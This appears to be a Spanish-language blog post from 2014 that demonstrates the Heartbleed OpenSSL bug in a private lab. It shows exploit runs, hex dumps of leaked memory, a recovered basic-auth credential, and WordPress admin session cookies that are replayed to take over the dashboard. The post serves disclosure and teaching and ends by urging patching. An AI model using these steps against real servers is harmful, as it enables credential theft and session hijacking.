viernes, 11 de abril de 2014

HeartBleed proof of concept - CVE-2014-0160 - Una prueba de concepto

Muuuuuuuuuuuuucho se habló en los últimos días (y se sigue hablando de hecho) de este gran tropiezo de OpenSSL llamado "HeartBleed bug", por si no están al tanto pueden pasar por aca o por aca para una mirada en Inglés. La idea de esta entrada es demostrar de manera mas o menos sencilla la potencialidad del problema. Para explotar el bug utilizaré el pequeño pero potente script en python desarrollado por Jared Stafford.

El escenario de prueba es el siguiente:


-Servidor Ubuntu 12.04.4 LTS con Apache y OpenSSL 1.0.1 (vulnerable)
-IP: 172.16.62.149
-Un certificado autofirmado
-Autenticación basic-auth
-Wordpress

Comprobar que el servidor es vulnerable:


Lanzamos manualmente el script para corroborar el estado de debilidad del servidor.

juan@moon:~/pruebas$ ./heartbleed.py 172.16.62.149
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0302, length = 58
 ... received message: type = 22, ver = 0302, length = 629
 ... received message: type = 22, ver = 0302, length = 397
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  .@....SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".
  0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8.........5.
  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
  0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  ............3.2.
  0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ....E.D...../...
  0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00  A...............
  0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  ................
  0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.
...
  3f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3f90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

WARNING: server returned more data than it should - server is vulnerable!

Excelente, el servidor es efectivamente vulnerable. Lo que vemos como salida es la respuesta del servidor, que casualmente resulta ser el contenido de un buffer interno de OpenSSL en el cuál se pueden encontrar cosas interesantes.

Prueba de concepto con basic-auth:


Como mencioné antes, el servidor cuenta con una autenticación de tipo basic que pide un usuario llamado juan con clave pepe. Para quienes tengan duda, la autenticación esta se realiza luego de haberse establecido la comunicación segura sobre SSL/TLS, y por lo tanto debería ser imposible conseguir las credenciales del usuario.

Nota: la autenticación basic manda en texto claro la cadena usuario:clave codificada en base64 dentro del encabezado HTTP.

Para simplificar las cosas podemos saber qué cadena debemos buscar en la salida del script, simplemente codificando juan:pepe en base64.


juan@moon:~$ echo -n "juan:pepe" | base64 
anVhbjpwZXBl
juan@moon:~$

Listo, la cadena que buscaremos en la salida es anVhbjpwZXBl.


Desde un browser accedemos al sitio por HTTPS y nos autenticamos correctamente:


Inmediatamente después lanzamos nuevamente el script desde la consola y en un par de ejecuciones nos encontramos conesto :


Claro como el agua... encontramos la cadena (me olvidé de marcar an, soy pésimo manejando GIMP, perdón). Si ahora la decodificamos:

juan@moon:~$ echo "anVhbjpwZXBl"|base64 -d
juan:pepejuan@moon:~$ 

Volvemos a obtener el usuario y password correspondiente!!! Es decir que ahora ya sabemos que es posible obtener las credenciales, solo debemos buscar la cadena Basic que las antecede.

Y qué pasa con otras aplicaciones? Wordpress?


 La realidad es que este buffer almacena parte de la información que es devuelta al cliente y allí podremos encontrar muuuchas cosas interesantes (como se demostró en el punto anterior). En este caso particular veremos cómo se comporta este bug con una aplicación como Wordpress. A decir verdad el comportamiento será igual para cualquier tipo de aplicación web, por lo tanto esto es solo un caso particular, pero el método vale para muchos escenarios mas.

Nos autenticamos en Wordpress como admin en este caso, desde mi Chrome en Linux y confiamos plenamente en la seguridad de mi super certificado autofirmado que cifrará toda la comunicación y por lo tanto mis credenciales atravesarán la web cifradas (esto sigue siendo completamente válido!).


Ahora lanzamos el script desde una consola hasta que encontremos en la respuesta algo reconocible. Como:


...
  00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 33 37 2E 31  ....#.......37.1
  00e0: 37 20 28 4B 48 54 4D 4C 2C 20 6C 69 6B 65 20 47  7 (KHTML, like G
  00f0: 65 63 6B 6F 29 20 43 68 72 6F 6D 65 2F 32 34 2E  ecko) Chrome/24.
  0100: 30 2E 31 33 31 32 2E 35 36 20 53 61 66 61 72 69  0.1312.56 Safari
  0110: 2F 35 33 37 2E 31 37 0D 0A 41 63 63 65 70 74 3A  /537.17..Accept:
  0120: 20 2A 2F 2A 0D 0A 52 65 66 65 72 65 72 3A 20 68   */*..Referer: h
  0130: 74 74 70 73 3A 2F 2F 31 37 32 2E 31 36 2E 36 32  ttps://172.16.62
  0140: 2E 31 34 39 2F 77 70 2D 61 64 6D 69 6E 2F 0D 0A  .149/wp-admin/..
  0150: 41 63 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A  Accept-Encoding:

  0160: 20 67 7A 69 70 2C 64 65 66 6C 61 74 65 2C 73 64   gzip,deflate,sd
  0170: 63 68 0D 0A 41 63 63 65 70 74 2D 4C 61 6E 67 75  ch..Accept-Langu
  0180: 61 67 65 3A 20 65 73 2C 65 6E 2D 55 53 3B 71 3D  age: es,en-US;q=
  0190: 30 2E 38 2C 65 6E 3B 71 3D 30 2E 36 2C 65 6E 2D  0.8,en;q=0.6,en-
  01a0: 47 42 3B 71 3D 30 2E 34 0D 0A 41 63 63 65 70 74  GB;q=0.4..Accept
  01b0: 2D 43 68 61 72 73 65 74 3A 20 49 53 4F 2D 38 38  -Charset: ISO-88
  01c0: 35 39 2D 31 2C 75 74 66 2D 38 3B 71 3D 30 2E 37  59-1,utf-8;q=0.7
  01d0: 2C 2A 3B 71 3D 30 2E 33 0D 0A 43 6F 6F 6B 69 65  ,*;q=0.3..Cookie
  01e0: 3A 20 77 6F 72 64 70 72 65 73 73 5F 73 65 63 5F  : wordpress_sec_
  01f0: 61 62 61 62 38 62 37 30 63 33 63 33 32 64 35 63  abab8b70c3c32d5c
  0200: 38 36 34 65 32 61 66 64 65 65 32 32 31 38 32 37  864e2afdee221827
  0210: 3D 61 64 6D 69 6E 25 37 43 31 33 39 37 33 36 33  =admin%7C1397363
  0220: 31 39 31 25 37 43 32 61 65 35 30 34 30 62 63 31  191%7C2ae5040bc1
  0230: 33 65 63 30 63 66 30 37 66 35 34 63 31 31 66 35  3ec0cf07f54c11f5
  0240: 66 39 34 33 36 62 3B 20 77 6F 72 64 70 72 65 73  f9436b; wordpres
  0250: 73 5F 74 65 73 74 5F 63 6F 6F 6B 69 65 3D 57 50  s_test_cookie=WP
  0260: 2B 43 6F 6F 6B 69 65 2B 63 68 65 63 6B 3B 20 77  +Cookie+check; w
  0270: 6F 72 64 70 72 65 73 73 5F 6C 6F 67 67 65 64 5F  ordpress_logged_
  0280: 69 6E 5F 61 62 61 62 38 62 37 30 63 33 63 33 32  in_abab8b70c3c32
  0290: 64 35 63 38 36 34 65 32 61 66 64 65 65 32 32 31  d5c864e2afdee221
  02a0: 38 32 37 3D 61 64 6D 69 6E 25 37 43 31 33 39 37  827=admin%7C1397
  02b0: 33 36 33 31 39 31 25 37 43 62 62 35 35 35 34 37  363191%7Cbb55547
  02c0: 30 35 35 38 63 37 31 66 30 38 32 36 30 62 65 30  0558c71f08260be0
  02d0: 34 62 37 64 66 34 63 63 64 3B 20 77 70 2D 73 65  4b7df4ccd; wp-se
  02e0: 74 74 69 6E 67 73 2D 74 69 6D 65 2D 31 3D 31 33  ttings-time-1=13
  02f0: 39 37 31 39 30 33 39 32 0D 0A 0D 0A 86 9A 98 1D  97190392........
  0300: F7 86 18 75 98 5E 72 C7 7B DA B5 FD 6C C8 0D 48  ...u.^r.{...l..H
...

Acabamos de capturar ni mas ni menos que las cookies de una sesión autenticada como admin!!!  Y ahora? 

El paso siguiente es utilizarlas, y una manera sencilla es mediante el complemento Cookies Manager para Firefox. Abrimos una ventana de Firefox en una VM con Windows (solo para que quede demostrado que es un entorno completamente diferente al entorno donde se inicio la sesión) e intentamos acceder a wp-admin.



Claramente precisamos un usuario y un password, que no tenemos!!! Entonces? Cargamos las cookies una a una, pasadas en limpio las cookies son las 4 siguientes:


wordpress_sec_abab8b70c3c32d5c864e2afdee221827=admin%7C1397363191%7C2ae5040bc13ec0cf07f54c11f5f9436b
wordpress_test_cookie=WP+Cookie+check
wordpress_logged_in_abab8b70c3c32d5c864e2afdee221827=admin%7C1397363191%7Cbb555470558c71f08260be04b7df4ccd
wp-settings-time-1=1397190392

Cargadas con Cookies Manager se ven así:


Y ahora volvemos a intentar acceder a wp-admin y...


como por arte de magia estamos en el dashboard como usuario administrador!!! A partir de aquí se podría hacer prácticamente cualquier cosa en este blog.

Resumen


Es evidente que la vulnerabilidad en cuestión expone brutalmente el contenido que se supone debería estar protegido por la capa de cifrado SSL/TLS. Por lo tanto aplicar el parche correspondiente y revocar los certificados es una idea MAS que recomendable (obligatoria diría).

No hay comentarios:

Publicar un comentario